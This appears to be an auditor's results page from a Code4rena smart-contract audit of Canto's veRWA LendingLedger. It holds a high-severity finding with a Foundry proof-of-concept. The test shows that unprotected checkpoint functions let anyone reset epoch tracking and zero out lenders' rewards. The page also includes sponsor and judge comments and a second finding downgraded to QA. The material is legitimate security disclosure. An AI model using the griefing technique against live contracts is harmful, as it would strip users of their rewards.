veRWA - ladboy233's results

Incentivization Primitive for Real World Assets on Canto

General Information

Platform: Code4rena

Start Date: 07/08/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 125

Period: 3 days

Judge: alcueca

Total Solo HM: 4

Id: 274

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 1/125

Findings: 2

Award: $7,120.54

QA:
grade-a

🌟 Selected for report: 1

πŸš€ Solo Findings: 1

Findings Information

🌟 Selected for report: ladboy233

Labels

bug
3 (High Risk)
satisfactory
selected for report
sponsor confirmed
H-07

Awards

7110.7151 USDC - $7,110.72

External Links

Impact

User's claim and sync_lender will be griefed at low cost

Proof of Concept

   /// @notice Trigger a checkpoint explicitly.
    ///     Never needs to be called explicitly, but could be used to ensure the checkpoints within the other functions consume less gas (because they need to forward less epochs)
    /// @param _market Address of the market
    /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used.
    function checkpoint_market(
        address _market,
        uint256 _forwardTimestampLimit
    ) external is_valid_epoch(_forwardTimestampLimit) {
        require(
            lendingMarketTotalBalanceEpoch[_market] > 0,
            "No deposits for this market"
        );
        _checkpoint_market(_market, _forwardTimestampLimit);
    }

    /// @param _market Address of the market
    /// @param _lender Address of the lender
    /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used.
    function checkpoint_lender(
        address _market,
        address _lender,
        uint256 _forwardTimestampLimit
    ) external is_valid_epoch(_forwardTimestampLimit) {
        require(
            lendingMarketBalancesEpoch[_market][_lender] > 0,
            "No deposits for this lender in this market"
        );
        _checkpoint_lender(_market, _lender, _forwardTimestampLimit);
    }

this two function lacks access control, the caller is never validated, meaning anyone can call this function

the market is not validated to see if the market is whitelisted or not

the timestamp is never validated, the is_valid_epoch(_forwardTimestampLimit) is insufficient

  /// @notice Check that a provided timestamp is a valid epoch (divisible by WEEK) or infinity
    /// @param _timestamp Timestamp to check
    modifier is_valid_epoch(uint256 _timestamp) {
        require(
            _timestamp % WEEK == 0 || _timestamp == type(uint256).max,
            "Invalid timestamp"
        );
        _;
    }

the user can just pick a past timestamp as the _forwardTimestampLimit

for example, if we set _forwardTimestampLimit to 0

then for example in _checkpoint_market

   function _checkpoint_market(
        address _market,
        uint256 _forwardTimestampLimit
    ) private {
        uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
        uint256 lastMarketUpdateEpoch = lendingMarketTotalBalanceEpoch[_market];
        uint256 updateUntilEpoch = Math.min(currEpoch, _forwardTimestampLimit);
        if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) {
            // Fill in potential gaps in the market total balances history
            uint256 lastMarketBalance = lendingMarketTotalBalance[_market][
                lastMarketUpdateEpoch
            ];
            for (
                uint256 i = lastMarketUpdateEpoch;
                i <= updateUntilEpoch;
                i += WEEK
            ) {
                lendingMarketTotalBalance[_market][i] = lastMarketBalance;
            }
        }
        lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch;
    }

we set the lendingMarketTotalBalanceEpoch[_market] to 0

then if the next call of the _checkpoint_market, the for loop would never run because the lastMarketUpdateEpoch is 0

over time, even when the for loop inside _checkpoint_market does run, the caller are forced to pay very high gas fee

same issue applies to _checkpoint_lender as well

user can decrease lendingMarketBalancesEpoch, even to 0

basically, if a malicious actor call these two function with forwardTimestampLimit 0,

then the _checkpoint_lender and _checkpoint_market would never run inside sync_ledger and claim reward

because user's reward can be griefed to 0 and stated are failed to updated properly

POC 1:

  function testLackOfAccessControlSyncMarket_POC_1() public {
        payable(ledger).transfer(1000 ether);
        uint248 amountPerEpoch = 1 ether;

        uint256 fromEpoch = WEEK * 5;
        uint256 toEpoch = WEEK * 10;

        address lendingMarket = vm.addr(5201314);

        vm.prank(goverance);
        ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch);
      
        vm.warp(block.timestamp + WEEK);

        vm.prank(goverance);
        ledger.whiteListLendingMarket(lendingMarket, true);
        address lender = users[1];
        vm.startPrank(lendingMarket);

        int256 deltaStart = 1 ether;
        uint256 epochStart = (block.timestamp / WEEK) * WEEK;
        ledger.sync_ledger(lender, deltaStart);

        // gaps of 3 week
        uint256 newTime = block.timestamp + 3 * WEEK;
        vm.warp(newTime);
        int256 deltaEnd = 1 ether;
        uint256 epochEnd = (newTime / WEEK) * WEEK;
        ledger.sync_ledger(lender, deltaEnd);

        newTime = block.timestamp + 20 * WEEK;
        vm.warp(newTime);

        console.log("---sync ledger after set the update epoch to 0 --");

        // ledger.checkpoint_market(lendingMarket, 0);
        // ledger.checkpoint_lender(lendingMarket, lender, 0);
        ledger.sync_ledger(lender, deltaEnd);

        vm.stopPrank();
        vm.prank(lender);

        uint256 balanceBefore = address(lender).balance;
        ledger.claim(lendingMarket, fromEpoch, toEpoch);
        uint256 balanceAfter = address(lender).balance;
        console.log(balanceAfter - balanceBefore);

        vm.expectRevert("No deposits for this user");
        ledger.claim(lendingMarket, fromEpoch, toEpoch);
    }

if we run the POC, we get the normal result, user can claim and get 6 ETH as reward

 ---sync ledger after set the update epoch to 0 --
 6000000000000000000

if we uncomment:

  // ledger.checkpoint_market(lendingMarket, 0);
  // ledger.checkpoint_lender(lendingMarket, lender, 0);

the claimed reward goes to 0

Tools Used

Manual Review

add access control to checkpoint_market and checkpoint_lender

#0 - itsmetechjay

2023-08-09T21:51:23Z

As noted in the README for this audit:

This audit was preceded by a Code4rena Test Coverage competition, which integrates a swarm approach to smart contract unit test coverage.

While auditing was not the purpose of the testing phase, relevant and valuable findings reported during that phase will be considered. Auditors who identified vulnerabilities during the test coverage phase will be eligible for a share of the pot, with H/M findings identified reviewed and judged as solo findings.

As such, C4 staff have added the above finding that was submitted by ladboy233 on July 26, 2023 at 5:50PM CDT as part of the test coverage competition.

#1 - c4-pre-sort

2023-08-13T15:33:17Z

141345 marked the issue as duplicate of #48

#2 - c4-pre-sort

2023-08-14T15:39:37Z

141345 marked the issue as not a duplicate

#3 - c4-pre-sort

2023-08-14T15:57:08Z

141345 marked the issue as low quality report

#4 - c4-pre-sort

2023-08-14T16:10:28Z

141345 marked the issue as remove high or low quality report

#5 - c4-sponsor

2023-08-16T12:52:19Z

OpenCoreCH marked the issue as sponsor confirmed

#6 - OpenCoreCH

2023-08-16T12:52:56Z

This was a valid issue before the auditing contest (uncovered during the testing contest and fixed before the auditing contst), pasting my comment from there for reference:

Good point. It is generally intended that everyone can call these functions (should not be necessary in practice, but may be in some edge cases where a market was inactive for years) and I do not think that this is problematic per se. However, the problem here is that users can decrease lendingMarketBalancesEpoch or lendingMarketTotalBalanceEpoch, which should never happen. So I will probably change the code like this (and the same for lenders) such that this can never happen:

        if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) {
            // Fill in potential gaps in the market total balances history
            uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch];
            for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) {
                lendingMarketTotalBalance[_market][i] = lastMarketBalance;
            }
            if (updateUntilEpoch > lastMarketUpdateEpoch) {
                lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch;
            }
        }

#7 - c4-judge

2023-08-22T14:36:48Z

alcueca marked the issue as satisfactory

Line of Code

https://github.com/OpenCoreCH/test-squad-verwa/blob/9b5b194075d5b84a8da9c9f8df072f34258e6520/src/LendingLedger.sol#L17

Impact

Impossible to query the crucial smart contract state in LendingLedger.sol for on-chain / off-chain service

Proof of Concept

    mapping(address => bool) public lendingMarketWhitelist;
    /// @dev Lending Market => Lender => Epoch => Balance
    mapping(address => mapping(address => mapping(uint256 => uint256))) lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch
    /// @dev Lending Market => Lender => Epoch
    mapping(address => mapping(address => uint256)) lendingMarketBalancesEpoch; // Epoch when the last update happened
    /// @dev Lending Market => Epoch => Balance
    mapping(address => mapping(uint256 => uint256)) lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all
    /// @dev Lending Market => Epoch
    mapping(address => uint256) lendingMarketTotalBalanceEpoch; // Epoch when the last update happened

    /// @dev Lending Market => Lender => Epoch
    mapping(address => mapping(address => uint256)) userClaimedEpoch; // Until which epoch a user has claimed for a particular market (exclusive this value)

    struct RewardInformation {
        bool set;
        uint248 amount;
    }
    mapping(uint256 => RewardInformation) rewardInformation;

This is a few crucial states in the LendingLedger.sol

the map / nested map

  • lendingMarketBalances
  • lendingMarketBalancesEpoch
  • lendingMarketTotalBalance
  • lendingMarketTotalBalanceEpoch
  • userClaimedEpoch
  • rewardsInformation

are all by default internal

without adding the public modifier

it is impossible to query onchain data to know some very common info for both onchain or offchain intergration

for example, a offchain or onchain service may interest in query

  • is a reward info set for a epoch? - we cannot get it because rewardsInformation missing public modifier

  • what is the reward in for a epoch? - we cannot get it because rewardsInformation missing public modifier

  • what is the user claimed balance for epoch? we cannot get it because userCLaimedEpoch missing public modifier

-what is the lending market balance and a lending balance of a user in a market? we cannot get it because the lendingMarketBalance and lendingMarketTotalBalance are missing public modifier

there is also no method to preview the reward for a epoch as well, I can imagien it is very natural for external service to query such info for display purpose

https://docs.code4rena.com/awarding/judging-criteria/severity-categorization

2 β€” Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

In this case, the missed public modifer greatly impact the availability of the LendingLedger.sol contract

Tools Used

Manual Review

Add public modifier to following:

  • lendingMarketBalances
  • lendingMarketBalancesEpoch
  • lendingMarketTotalBalance
  • lendingMarketTotalBalanceEpoch
  • userClaimedEpoch
  • rewardsInformation

and add a method to query summarized user info and the reward that are eligible to claim given a epoch range

#0 - itsmetechjay

2023-08-09T21:58:37Z

As noted in the README for this audit:

This audit was preceded by a Code4rena Test Coverage competition, which integrates a swarm approach to smart contract unit test coverage.

While auditing was not the purpose of the testing phase, relevant and valuable findings reported during that phase will be considered. Auditors who identified vulnerabilities during the test coverage phase will be eligible for a share of the pot, with H/M findings identified reviewed and judged as solo findings.

As such, C4 staff have added the above finding that was submitted by ladboy233 on July 26, 2023 at 4:51PM CDT as part of the test coverage competition.

#1 - 141345

2023-08-12T09:19:57Z

QA might be more appropriate.

#2 - OpenCoreCH

2023-08-16T14:42:27Z

Pasting my comment from the testing contest here for reference:

Agree that making userClaimedEpoch and rewardsInformation public could be helpful for UX / DevEx, but for the other ones, I think making them public could be rather dangerous. lendingMarketBalances and lendingMarketTotalBalance are only set after checkpoints have been performed and if a consumer does not know / check this, he might get 0 back, but only because no checkpoint for this epoch was done yet. So I think a dedicated view function that reverts for non-checkpointed epochs might make more sense there.

I am also not sure if this really is a medium issue. Not exposing this information does not impact the functionality of our intended usage. But I'll leave that to the judge.

#3 - c4-sponsor

2023-08-16T14:42:32Z

OpenCoreCH marked the issue as sponsor acknowledged

#4 - c4-sponsor

2023-08-16T14:42:37Z

OpenCoreCH marked the issue as disagree with severity

#5 - c4-judge

2023-08-22T14:41:13Z

alcueca changed the severity to QA (Quality Assurance)

#6 - c4-judge

2023-08-22T14:41:18Z

alcueca marked the issue as grade-a

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter